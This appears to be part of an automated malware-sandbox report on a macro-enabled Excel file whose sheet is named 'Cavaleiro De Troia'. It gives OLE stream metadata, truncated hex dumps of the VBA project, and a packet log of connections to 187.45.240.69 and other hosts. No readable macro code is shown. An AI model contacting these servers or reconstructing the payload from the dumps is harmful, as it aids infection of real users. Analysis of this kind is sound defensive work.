Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 b4 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 7c 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 10 00 00 00

Stream Path: RichEditFlags, File Type: data, Stream Size: 12

General
Stream Path:	RichEditFlags
File Type:	data
Stream Size:	12
Entropy:	0.6500224216483541
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . .
Data Raw:	01 00 00 00 00 00 00 00 01 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15248

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	15248
Entropy:	5.167290881180269
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . C a v a l e i r o D e T r o i a B . . . . a . . . . . . . . = . . . . . . . . . . . . . . E s t a P a s t a D e T r a b a l h o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . V e 1 : . . . . . . . X .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 12 00 00 43 61 76 61 6c 65 69 72 6f 20 44 65 20 54 72 6f 69 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 513

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	513
Entropy:	5.142452298544354
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = E s t a P a s t a D e T r a b a l h o / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = P l a n i l h a 1 / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C 0 C 2 6 C 6 A 7 0 6 A 7 0 6 E 7 4 6 E 7 4 " . . D P B = " 9 3 9 1 3 F E E 0 F 0 B 0 F 0 B F 0 F 5
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 50 6c 61 6e 69 6c 68 61 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 92

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
File Type:	data
Stream Size:	92
Entropy:	3.1873658260020488
Base64 Encoded:	False
Data ASCII:	E s t a P a s t a D e T r a b a l h o . E . s . t . a . P . a . s . t . a . D . e . T . r . a . b . a . l . h . o . . . P l a n i l h a 1 . P . l . a . n . i . l . h . a . 1 . . . . .
Data Raw:	45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 00 45 00 73 00 74 00 61 00 50 00 61 00 73 00 74 00 61 00 44 00 65 00 54 00 72 00 61 00 62 00 61 00 6c 00 68 00 6f 00 00 00 50 6c 61 6e 69 6c 68 61 31 00 50 00 6c 00 61 00 6e 00 69 00 6c 00 68 00 61 00 31 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2599

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	2599
Entropy:	4.083845578704928
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
Data Raw:	cc 61 b2 00 00 03 00 ff 16 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 6598

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
File Type:	data
Stream Size:	6598
Entropy:	3.6025462992311663
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U _ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ J . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . C 7 7 M D . H l { . . . . . . . . . . . . . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 5f 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 182

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
File Type:	data
Stream Size:	182
Entropy:	1.6862905000266528
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 06 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 1550

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
File Type:	data
Stream Size:	1550
Entropy:	2.874874206462334
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . A . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . a . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 14 00 00 00 b1 09 00 00 00 00 00 00 00 00 00 00 51 20 00 00 00 00 00 00 00 00 00 00 41 09 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 156

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
File Type:	data
Stream Size:	156
Entropy:	1.7820663630707385
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 03 60 00 00 d8 08 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 547

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
File Type:	data
Stream Size:	547
Entropy:	6.129298700211954
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . b . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
Data Raw:	01 1f b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 80 86 83 62 04 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:05:49.226169109 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:49.467884064 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:49.468040943 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:49.468569994 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:49.704582930 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594834089 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594863892 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594880104 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594894886 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594911098 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594927073 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594945908 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594959021 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.594996929 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.595031023 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.603463888 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.603491068 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.603590012 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.675291061 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.738617897 CEST	49760	80	192.168.2.4	104.18.10.207
Aug 16, 2022 11:05:50.755153894 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.755268097 CEST	49760	80	192.168.2.4	104.18.10.207
Aug 16, 2022 11:05:50.777055025 CEST	49760	80	192.168.2.4	104.18.10.207
Aug 16, 2022 11:05:50.793561935 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800591946 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800601959 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800609112 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800632000 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800657034 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800671101 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800683022 CEST	80	49760	104.18.10.207	192.168.2.4
Aug 16, 2022 11:05:50.800725937 CEST	49760	80	192.168.2.4	104.18.10.207
Aug 16, 2022 11:05:50.800767899 CEST	49760	80	192.168.2.4	104.18.10.207
Aug 16, 2022 11:05:50.826359034 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826419115 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826440096 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826474905 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826492071 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826515913 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826694012 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826695919 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826714039 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826747894 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826760054 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826778889 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826795101 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826800108 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826842070 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826858044 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826874018 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826910019 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826920986 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.826941013 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.826984882 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.827071905 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.827126980 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.827131987 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.827163935 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.827182055 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.827186108 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.827224016 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.827240944 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.831650972 CEST	49758	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.845449924 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.894172907 CEST	49764	80	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:50.904999018 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:50.905107975 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.905865908 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:50.910413980 CEST	80	49764	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:50.910540104 CEST	49764	80	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:50.911026001 CEST	49764	80	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:50.927144051 CEST	80	49764	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:50.941028118 CEST	80	49764	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:50.941118956 CEST	49764	80	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:50.976605892 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:50.976656914 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:50.976748943 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:50.999138117 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:50.999171972 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.056394100 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.056488991 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.057347059 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.057436943 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.057883024 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.057987928 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.058887959 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.066318035 CEST	80	49758	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135289907 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135535955 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135555983 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135571957 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135591984 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135610104 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135627985 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135680914 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.135714054 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.135724068 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135742903 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135759115 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135777950 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.135927916 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.278058052 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278084993 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278103113 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278120995 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278137922 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278156042 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278156996 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.278177023 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278194904 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278199911 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.278213024 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278219938 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.278232098 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278245926 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.278249979 CEST	80	49763	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.278264999 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.278301954 CEST	49763	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365564108 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365596056 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365612984 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365628958 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365647078 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365664959 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365680933 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365685940 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365696907 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365714073 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365724087 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365730047 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365746975 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365762949 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365780115 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365782022 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365786076 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365797043 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365813017 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365828991 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365833044 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365840912 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365845919 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365864992 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365866899 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365881920 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365899086 CEST	80	49759	187.45.240.69	192.168.2.4
Aug 16, 2022 11:05:51.365900993 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365941048 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.365961075 CEST	49759	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:05:51.404149055 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.404202938 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.404854059 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.404968977 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.407717943 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.443968058 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.444092035 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.444123983 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.444206953 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.444219112 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.444330931 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.444372892 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.444443941 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.444717884 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.444807053 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.444823980 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.444935083 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.446033955 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.446136951 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.446146965 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.446208000 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.447335005 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.447434902 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.447453976 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.447520971 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.448596954 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.448687077 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.448695898 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.448753119 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.449790955 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.449902058 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.449908972 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.449965000 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.451129913 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.451231003 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.451241016 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.451304913 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.462137938 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.462259054 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.462285042 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.462352991 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.462470055 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.462539911 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.462549925 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.462608099 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.463752031 CEST	443	49765	142.250.181.238	192.168.2.4
Aug 16, 2022 11:05:51.463864088 CEST	49765	443	192.168.2.4	142.250.181.238
Aug 16, 2022 11:05:51.463968039 CEST	443	49765	142.250.181.238	192.168.2.4
